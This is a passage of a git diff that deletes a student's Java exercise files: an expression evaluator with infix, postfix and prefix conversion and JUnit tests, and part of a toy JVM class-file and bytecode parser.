-			InfixExpr expr = new InfixExpr("3*20+12*5-40/2");
-			Assert.assertEquals(100.0, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("3*20/2");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("20/2*3");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-		{
-			InfixExpr expr = new InfixExpr("10-30+50");
-			Assert.assertEquals(30, expr.evaluate(), 0.001f);
-		}
-		
-	}
-
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java
deleted file mode 100644
index 2e7243ecb2..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPostfix.java
+++ /dev/null
@@ -1,59 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import org.junit.Assert;
-
-import com.coding.basic.stack.Stack;
-
-
-public class InfixToPostfix {
-
-	public static List<Token> convert(String expr) {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr);
-		List<Token> result = getPostOrder(tokens);	
-		
-		return result;
-	}
-
-	/**
-	 * 中序表达式转后序表达式
-	 * 
-	 * @param list
-	 * @return
-	 */
-	private static List<Token> getPostOrder(List<Token> tokens) {
-
-		List<Token> result = new ArrayList<Token>();
-		Stack stack = new Stack();
-		for (int i = 0; i < tokens.size(); i++) {
-			// 如果为数字,加到集合里
-			if (tokens.get(i).isNumber()) {
-				result.add(tokens.get(i));
-			} else {
-				Token token = null;
-				if(!stack.isEmpty()){
-					token = (Token)stack.peek();
-				}
-				while(!stack.isEmpty() && token.hasHigherPriority(tokens.get(i))){
-					result.add((Token)stack.pop());
-				}
-				stack.push(tokens.get(i));
-			}
-		}
-		while (!stack.isEmpty()) {
-			// 最后看下操作符栈还有操作符没,有了加到集合末尾
-			result.add((Token) stack.pop());
-		}
-		return result;
-	}	
-	
-	
-	
-	public static void main(String[] args) {
-		List<Token> list = InfixToPostfix.convert("300*20+12*5-20/4");
-		Assert.assertEquals("[300, 20, *, 12, 5, *, +, 20, 4, /, -]", list.toString());
-	}
-}
\ No newline at end of file
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java
deleted file mode 100644
index d824284eda..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/InfixToPrevfix.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import org.junit.Assert;
-
-import com.coding.basic.stack.Stack;
-
-public class InfixToPrevfix {
-
-	public static List<Token> convert(String expr) {
-		TokenParser parser = new TokenParser();
-		List<Token> tokens = parser.parse(expr);
-
-		return PrevOrderExpr(tokens);
-	}
-
-	public static List<Token> PrevOrderExpr(List<Token> tokens) {
-		List<Token> result = new ArrayList<Token>();
-		Stack operator = new Stack();
-		Stack num = new Stack();
-		for (int i = tokens.size() - 1; i >= 0; i--) {
-			if (tokens.get(i).isNumber()) {
-				num.push(tokens.get(i));
-			}
-			if (tokens.get(i).isOperator()) {
-				Token token = null;
-				if (!operator.isEmpty()) {
-					token = (Token) operator.peek();
-				}
-				while (!operator.isEmpty() && token.hasHigherPriority(tokens.get(i))) {
-					num.push((Token) operator.pop());
-				}
-				operator.push(tokens.get(i));
-			}
-		}
-		while(!operator.isEmpty()){
-			num.push(operator.pop());
-		}
-		while (!num.isEmpty()) {
-			result.add((Token) num.pop());
-		}
-		
-
-		return result;
-	}
-	
-	
-	public static void main(String[] args) {
-		List<Token> list = InfixToPrevfix.convert("300*20+12*5-20/4");
-		Assert.assertEquals("[+, *, 300, 20, -, *, 12, 5, /, 20, 4]", list.toString());
-	}
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java
deleted file mode 100644
index 2040814b2c..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExpr.java
+++ /dev/null
@@ -1,55 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.List;
-import java.util.Stack;
-
-
-public class PostfixExpr {
-	String expr = null;
-	
-	public PostfixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		Stack<String> stack = new Stack<String>();
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse(expr);
-		for(Token token :tokens){
-			if(token.isNumber()){
-				stack.push(token.toString());
-			}
-			if(token.isOperator()){
-				int num1 = Integer.parseInt(stack.pop());
-				int num2 = Integer.parseInt(stack.pop());
-				String result = parseToResult(num1,num2,token.toString());
-				stack.push(result);
-			}
-		}
-		
-		
-		
-		return Float.parseFloat(stack.pop());
-	}
-	
-	private String parseToResult(int num1, int num2, String oper) {
-		// TODO Auto-generated method stub
-		String result = "";
-		if(oper.equals("*"))
-			result = (num1*num2)+"";
-		if(oper.equals("/"))
-			result = (num2/num1)+"";
-		if(oper.equals("+"))
-			result = (num1+num2)+"";
-		if(oper.equals("-"))
-			result = (num2-num1)+"";
-		return result;
-	}
-
-	public static void main(String[] args) {
-		//9+(3-1)*3+10/2
-		PostfixExpr pos = new PostfixExpr("9 3 1-3*+ 10 2/+");
-		float f =pos.evaluate();
-		System.out.println(f);
-	}
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java
deleted file mode 100644
index cc7efb5d40..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/PostfixExprTest.java
+++ /dev/null
@@ -1,36 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class PostfixExprTest {
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			PostfixExpr expr = new PostfixExpr("6 5 2 3 + 8 * + 3 + *");
-			Assert.assertEquals(288, expr.evaluate(),0.0f);
-		}
-		{
-			//9+(3-1)*3+10/2
-			PostfixExpr expr = new PostfixExpr("9 3 1-3*+ 10 2/+");
-			Assert.assertEquals(20, expr.evaluate(),0.0f);
-		}
-		
-		{
-			//10-2*3+50
-			PostfixExpr expr = new PostfixExpr("10 2 3 * - 50 +");
-			Assert.assertEquals(54, expr.evaluate(),0.0f);
-		}
-	}
-
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java
deleted file mode 100644
index c06a960bfe..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExpr.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.coding.basic.stack.expr;
-
-import java.util.Collections;
-import java.util.List;
-import java.util.Stack;
-
-public class PrefixExpr {
-	String expr = null;
-	
-	public PrefixExpr(String expr) {
-		this.expr = expr;
-	}
-
-	public float evaluate() {
-		Stack<String> stack = new Stack<String>();
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse(expr);
-		Collections.reverse(tokens);
-		for(Token token :tokens){
-			if(token.isNumber()){
-				stack.push(token.toString());
-			}
-			if(token.isOperator()){
-				int num1 = Integer.parseInt(stack.pop());
-				int num2 = Integer.parseInt(stack.pop());
-				String result = parseToResult(num1,num2,token.toString());
-				stack.push(result);
-			}
-		}
-		
-		return Float.parseFloat(stack.pop());
-	}
-	
-	
-	private String parseToResult(int num1, int num2, String oper) {
-		// TODO Auto-generated method stub
-		String result = "";
-		if(oper.equals("*"))
-			result = (num1*num2)+"";
-		if(oper.equals("/"))
-			result = (num1/num2)+"";
-		if(oper.equals("+"))
-			result = (num1+num2)+"";
-		if(oper.equals("-"))
-			result = (num1-num2)+"";
-		return result;
-	}
-	
-}
\ No newline at end of file
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java
deleted file mode 100644
index 9cfaa64570..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/PrefixExprTest.java
+++ /dev/null
@@ -1,44 +0,0 @@
-package com.coding.basic.stack.expr;
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-
-public class PrefixExprTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void testEvaluate() {
-		{
-			// 2*3+4*5 
-			PrefixExpr expr = new PrefixExpr("+ * 2 3* 4 5");
-			Assert.assertEquals(26, expr.evaluate(),0.001f);
-		}
-		{
-			// 4*2 + 6+9*2/3 -8
-			PrefixExpr expr = new PrefixExpr("-++6/*2 9 3 * 4 2 8");
-			Assert.assertEquals(12, expr.evaluate(),0.001f);
-		}
-		{
-			//(3+4)*5-6
-			PrefixExpr expr = new PrefixExpr("- * + 3 4 5 6");
-			Assert.assertEquals(29, expr.evaluate(),0.001f);
-		}
-		{
-			//1+((2+3)*4)-5
-			PrefixExpr expr = new PrefixExpr("- + 1 * + 2 3 4 5");
-			Assert.assertEquals(16, expr.evaluate(),0.001f);
-		}
-		
-		
-	}
-
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java
deleted file mode 100644
index 2d78610e7a..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/Token.java
+++ /dev/null
@@ -1,49 +0,0 @@
-package com.coding.basic.stack.expr;
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-class Token {
-	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
-	private static final Map<String,Integer> priorities = new HashMap<>();
-	static {
-		priorities.put("+", 1);
-		priorities.put("-", 1);
-		priorities.put("*", 2);
-		priorities.put("/", 2);
-	}
-	static final int OPERATOR = 1;
-	static final int NUMBER = 2;
-	String value;
-	int type;
-	public Token(int type, String value){
-		this.type = type;
-		this.value = value;
-	}		
-
-	public boolean isNumber() {
-		return type == NUMBER;
-	}
-
-	public boolean isOperator() {
-		return type == OPERATOR;
-	}
-
-	public int getIntValue() {
-		return Integer.valueOf(value).intValue();
-	}
-	public String toString(){
-		return value;
-	}
-	
-	public boolean hasHigherPriority(Token t){
-		if(!this.isOperator() && !t.isOperator()){
-			throw new RuntimeException("numbers can't compare priority");
-		}
-		return priorities.get(this.value) - priorities.get(t.value) > 0;
-	}
-	
-	
-
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java
deleted file mode 100644
index 58ee229f9a..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParser.java
+++ /dev/null
@@ -1,56 +0,0 @@
-package com.coding.basic.stack.expr;
-import java.util.ArrayList;
-import java.util.List;
-
-public class TokenParser {
-	
-	
-	public  List<Token> parse(String expr) {
-		List<Token> tokens = new ArrayList<>();
-
-		int i = 0;
-
-		while (i < expr.length()) {
-
-			char c = expr.charAt(i);
-
-			if (isOperator(c)) {
-
-				Token t = new Token(Token.OPERATOR, String.valueOf(c));
-				tokens.add(t);
-				i++;
-
-			} else if (Character.isDigit(c)) {
-
-				int nextOperatorIndex = indexOfNextOperator(i, expr);
-				String value = expr.substring(i, nextOperatorIndex);
-				Token t = new Token(Token.NUMBER, value);
-				tokens.add(t);
-				i = nextOperatorIndex;
-
-			} else{
-				System.out.println("char :["+c+"] is not number or operator,ignore");
-				i++;
-			}
-
-		}
-		return tokens;
-	}
-
-	private  int indexOfNextOperator(int i, String expr) {
-
-		while (Character.isDigit(expr.charAt(i))) {
-			i++;
-			if (i == expr.length()) {
-				break;
-			}
-		}
-		return i;
-
-	}
-
-	private  boolean isOperator(char c) {
-		String sc = String.valueOf(c);
-		return Token.OPERATORS.contains(sc);
-	}
-}
diff --git a/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java b/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java
deleted file mode 100644
index 3562e42508..0000000000
--- a/group27/383117348/data-structure/com/coding/basic/stack/expr/TokenParserTest.java
+++ /dev/null
@@ -1,40 +0,0 @@
-package com.coding.basic.stack.expr;
-import static org.junit.Assert.*;
-
-import java.util.List;
-
-import org.junit.After;
-import org.junit.Assert;
-import org.junit.Before;
-import org.junit.Test;
-
-public class TokenParserTest {
-
-	@Before
-	public void setUp() throws Exception {
-	}
-
-	@After
-	public void tearDown() throws Exception {
-	}
-
-	@Test
-	public void test() {
-		
-		TokenParser parser = new TokenParser();
-		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
-		
-		Assert.assertEquals(300, tokens.get(0).getIntValue());
-		Assert.assertEquals("*", tokens.get(1).toString());
-		Assert.assertEquals(20, tokens.get(2).getIntValue());
-		Assert.assertEquals("+", tokens.get(3).toString());
-		Assert.assertEquals(12, tokens.get(4).getIntValue());
-		Assert.assertEquals("*", tokens.get(5).toString());
-		Assert.assertEquals(5, tokens.get(6).getIntValue());
-		Assert.assertEquals("-", tokens.get(7).toString());
-		Assert.assertEquals(20, tokens.get(8).getIntValue());
-		Assert.assertEquals("/", tokens.get(9).toString());
-		Assert.assertEquals(4, tokens.get(10).getIntValue());
-	}
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
deleted file mode 100644
index 85156946eb..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/attr/AttributeInfo.java
+++ /dev/null
@@ -1,17 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class AttributeInfo {
-	public static final String CODE = "Code";
-	public static final String CONST_VALUE = "ConstantValue";
-	public static final String EXCEPTIONS = "Exceptions";
-	public static final String LINE_NUM_TABLE = "LineNumberTable";
-	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
-	public static final String STACK_MAP_TABLE = "StackMapTable";
-	int attrNameIndex;				
-	int attrLen ;
-	public AttributeInfo(int attrNameIndex, int attrLen) {
-		
-		this.attrNameIndex = attrNameIndex;
-		this.attrLen = attrLen;
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
deleted file mode 100644
index a47357ec09..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/attr/CodeAttr.java
+++ /dev/null
@@ -1,108 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.cmd.ByteCodeCommand;
-import com.coderising.jvm.cmd.CommandParser;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class CodeAttr extends AttributeInfo {
-	private int maxStack;
-	private int maxLocals;
-	private int codeLen;
-	private String code;
-
-	public String getCode() {
-		return code;
-	}
-
-	private ByteCodeCommand[] cmds;
-
-	public ByteCodeCommand[] getCmds() {
-		return cmds;
-	}
-
-	private LineNumberTable lineNumTable;
-	private LocalVariableTable localVarTable;
-	private StackMapTable stackMapTable;
-
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,
-			String code ,ByteCodeCommand[] cmds ) {
-		super(attrNameIndex, attrLen);
-		this.maxStack = maxStack;
-		this.maxLocals = maxLocals;
-		this.codeLen = codeLen;
-		this.code = code;
-		this.cmds = cmds;
-	}
-
-	public void setLineNumberTable(LineNumberTable t) {
-		this.lineNumTable = t;
-	}
-
-	public void setLocalVariableTable(LocalVariableTable t) {
-		this.localVarTable = t;
-	}
-
-	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
-		int attributeNameIndex = iter.nextU2Int();
-		int attributeLength = iter.nextU4Integer();
-		int maxStack = iter.nextU2Int();
-		int maxLocals = iter.nextU2Int();
-		int length = iter.nextU4Integer();
-		String code = iter.nextUxToHexString(length);
-		
-		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
-		
-
-		CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, length, code,cmds);
-
-		int exceptionTableLength = iter.nextU2Int();
-		if (exceptionTableLength > 0) {
-			String exceptionTable = iter.nextUxToHexString(exceptionTableLength);
-			throw new RuntimeException("解析异常表异常:" + exceptionTable);
-		}
-
-		int attributesCount = iter.nextU2Int();
-		for (int i = 0; i < attributesCount; i++) {
-			int subAttributeNameIndex = iter.nextU2Int();
-			iter.back(2);
-
-			String subAttributeName = clzFile.getConstantPool().getUTF8String(subAttributeNameIndex);
-
-			if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LINE_NUM_TABLE)) {
-
-				LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
-				codeAttr.setLineNumberTable(lineNumberTable);
-
-			} else if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LOCAL_VAR_TABLE)) {
-
-				LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
-				codeAttr.setLocalVariableTable(localVariableTable);
-
-			} else {
-				throw new RuntimeException("解析subAttribute异常-subAttributeName:" + subAttributeName);
-			}
-
-		}
-
-		return codeAttr;
-	}
-
-	public String toString(ConstantPool pool) {
-		StringBuilder buffer = new StringBuilder();
-		// buffer.append("Code:").append(code).append("\n");
-		for (int i = 0; i < cmds.length; i++) {
-			buffer.append(cmds[i].toString(pool)).append("\n");
-		}
-		buffer.append("\n");
-		buffer.append(this.lineNumTable.toString());
-		buffer.append(this.localVarTable.toString(pool));
-		return buffer.toString();
-	}
-
-	private void setStackMapTable(StackMapTable t) {
-		this.stackMapTable = t;
-
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
deleted file mode 100644
index 8a5b17f7e2..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LineNumberTable.java
+++ /dev/null
@@ -1,70 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LineNumberTable extends AttributeInfo {
-	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
-
-	private static class LineNumberItem {
-		int startPC;
-		int lineNum;
-
-		public int getStartPC() {
-			return startPC;
-		}
-
-		public void setStartPC(int startPC) {
-			this.startPC = startPC;
-		}
-
-		public int getLineNum() {
-			return lineNum;
-		}
-
-		public void setLineNum(int lineNum) {
-			this.lineNum = lineNum;
-		}
-	}
-
-	public void addLineNumberItem(LineNumberItem item) {
-		this.items.add(item);
-	}
-
-	public LineNumberTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-
-	}
-
-	public static LineNumberTable parse(ByteCodeIterator iter) {
-		int attributeNameIndex = iter.nextU2Int();
-		int attributeLength = iter.nextU4Integer();
-		LineNumberTable lineNumberTable = new LineNumberTable(attributeNameIndex, attributeLength);
-		
-		int lineNumberTableLength = iter.nextU2Int();
-		for (int i = 0; i < lineNumberTableLength; i++) {
-			LineNumberItem lineNumberItem = new LineNumberItem();
-			lineNumberItem.setStartPC(iter.nextU2Int());
-			lineNumberItem.setLineNum(iter.nextU2Int());
-			lineNumberTable.addLineNumberItem(lineNumberItem);
-		}
-
-		return lineNumberTable;
-	}
-	
-
-	public String toString(){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Line Number Table:\n");
-		for(LineNumberItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("lineNum:"+item.getLineNum()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-		
-	}
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
deleted file mode 100644
index 3eb2654e36..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableItem.java
+++ /dev/null
@@ -1,39 +0,0 @@
-package com.coderising.jvm.attr;
-
-public class LocalVariableItem {
-	private int startPC;
-	private int length;
-	private int nameIndex;
-	private int descIndex;
-	private int index;
-	public int getStartPC() {
-		return startPC;
-	}
-	public void setStartPC(int startPC) {
-		this.startPC = startPC;
-	}
-	public int getLength() {
-		return length;
-	}
-	public void setLength(int length) {
-		this.length = length;
-	}
-	public int getNameIndex() {
-		return nameIndex;
-	}
-	public void setNameIndex(int nameIndex) {
-		this.nameIndex = nameIndex;
-	}
-	public int getDescIndex() {
-		return descIndex;
-	}
-	public void setDescIndex(int descIndex) {
-		this.descIndex = descIndex;
-	}
-	public int getIndex() {
-		return index;
-	}
-	public void setIndex(int index) {
-		this.index = index;
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 40495c9756..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,54 +0,0 @@
-package com.coderising.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class LocalVariableTable extends AttributeInfo {
-
-	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-
-	public LocalVariableTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);
-	}
-
-	public static LocalVariableTable parse(ByteCodeIterator iter) {
-		int attributeNameIndex = iter.nextU2Int();
-		int attributeLength = iter.nextU4Integer();
-
-		LocalVariableTable localVariableTable = new LocalVariableTable(attributeNameIndex, attributeLength);
-
-		int localVariableTableLength = iter.nextU2Int();
-		for (int i = 0; i < localVariableTableLength; i++) {
-			LocalVariableItem localVariableItem = new LocalVariableItem();
-			localVariableItem.setStartPC(iter.nextU2Int());
-			localVariableItem.setLength(iter.nextU2Int());
-			localVariableItem.setNameIndex(iter.nextU2Int());
-			localVariableItem.setDescIndex(iter.nextU2Int());
-			localVariableItem.setIndex(iter.nextU2Int());
-			localVariableTable.addLocalVariableItem(localVariableItem);
-		}
-
-		return localVariableTable;
-	}
-
-	private void addLocalVariableItem(LocalVariableItem item) {
-		this.items.add(item);
-	}
-	
-	public String toString(ConstantPool pool){
-		StringBuilder buffer = new StringBuilder();
-		buffer.append("Local Variable Table:\n");
-		for(LocalVariableItem item : items){
-			buffer.append("startPC:"+item.getStartPC()).append(",");
-			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-		}
-		buffer.append("\n");
-		return buffer.toString();
-	}
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java b/group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
deleted file mode 100644
index 70387e2bb2..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.coderising.jvm.attr;
-
-import com.coderising.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo{
-	
-	private String originalCode;
-
-	public StackMapTable(int attrNameIndex, int attrLen) {
-		super(attrNameIndex, attrLen);		
-	}
-
-	public static StackMapTable parse(ByteCodeIterator iter){
-		int index = iter.nextU2Int();
-		int len = iter.nextU4Integer();
-		StackMapTable t = new StackMapTable(index,len);
-		
-		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-		String code = iter.nextUxToHexString(len);
-		t.setOriginalCode(code);
-		
-		return t;
-	}
-
-	private void setOriginalCode(String code) {
-		this.originalCode = code;
-		
-	}
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java b/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java
deleted file mode 100644
index 48c856053a..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,124 +0,0 @@
-package com.coderising.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.coderising.jvm.constant.ClassInfo;
-import com.coderising.jvm.constant.ConstantPool;
-import com.coderising.jvm.field.Field;
-import com.coderising.jvm.method.Method;
-
-public class ClassFile {
-
-	private int minorVersion;
-	private int majorVersion;
-
-	private AccessFlag accessFlag;
-	private ClassIndex clzIndex;
-	private ConstantPool pool;
-	private List<Field> fields = new ArrayList<Field>();
-	private List<Method> methods = new ArrayList<Method>();
-
-	public ClassIndex getClzIndex() {
-		return clzIndex;
-	}
-
-	public AccessFlag getAccessFlag() {
-		return accessFlag;
-	}
-
-	public void setAccessFlag(AccessFlag accessFlag) {
-		this.accessFlag = accessFlag;
-	}
-
-	public ConstantPool getConstantPool() {
-		return pool;
-	}
-
-	public int getMinorVersion() {
-		return minorVersion;
-	}
-
-	public void setMinorVersion(int minorVersion) {
-		this.minorVersion = minorVersion;
-	}
-
-	public int getMajorVersion() {
-		return majorVersion;
-	}
-
-	public void setMajorVersion(int majorVersion) {
-		this.majorVersion = majorVersion;
-	}
-
-	public void setConstPool(ConstantPool pool) {
-		this.pool = pool;
-
-	}
-
-	public void setClassIndex(ClassIndex clzIndex) {
-		this.clzIndex = clzIndex;
-	}
-
-	public void addField(Field f) {
-		this.fields.add(f);
-	}
-
-	public List<Field> getFields() {
-		return this.fields;
-	}
-
-	public void addMethod(Method m) {
-		this.methods.add(m);
-	}
-
-	public List<Method> getMethods() {
-		return methods;
-	}
-
-	public void print() {
-
-		if (this.accessFlag.isPublicClass()) {
-			System.out.println("Access flag : public  ");
-		}
-		System.out.println("Class Name:" + getClassName());
-
-		System.out.println("Super Class Name:" + getSuperClassName());
-
-	}
-
-	public String getClassName() {
-		int thisClassIndex = this.clzIndex.getThisClassIndex();
-		ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
-		return thisClass.getClassName();
-	}
-
-	public String getSuperClassName() {
-		ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-		return superClass.getClassName();
-	}
-
-	public Method getMethod(String methodName, String paramAndReturnType) {
-		Method method = null;
-		for(Method m : methods){
-			String name = pool.getUTF8String(m.getNameIndex());
-			String methodDesc = pool.getUTF8String(m.getDescriptorIndex());
-			if(name.equalsIgnoreCase(methodName) && methodDesc.equalsIgnoreCase(paramAndReturnType)){
-				method = m;
-			}
-		}
-		return method;
-	}
-
-	public Method getMainMethod() {
-		Method method = null;
-		for(Method m : methods){
-			String name = pool.getUTF8String(m.getNameIndex());
-			if(name.equalsIgnoreCase("main")){
-				method = m;
-			}
-		}
-		return method;
-	}
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index cd0fbd4848..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
diff --git a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java b/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index 4006ca69e1..0000000000
--- a/group27/383117348/mini-jvm/com/coderising/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.coderising.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.coderising.jvm.clz.ClassFile;
-import com.coderising.jvm.constant.ConstantInfo;
-import com.coderising.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
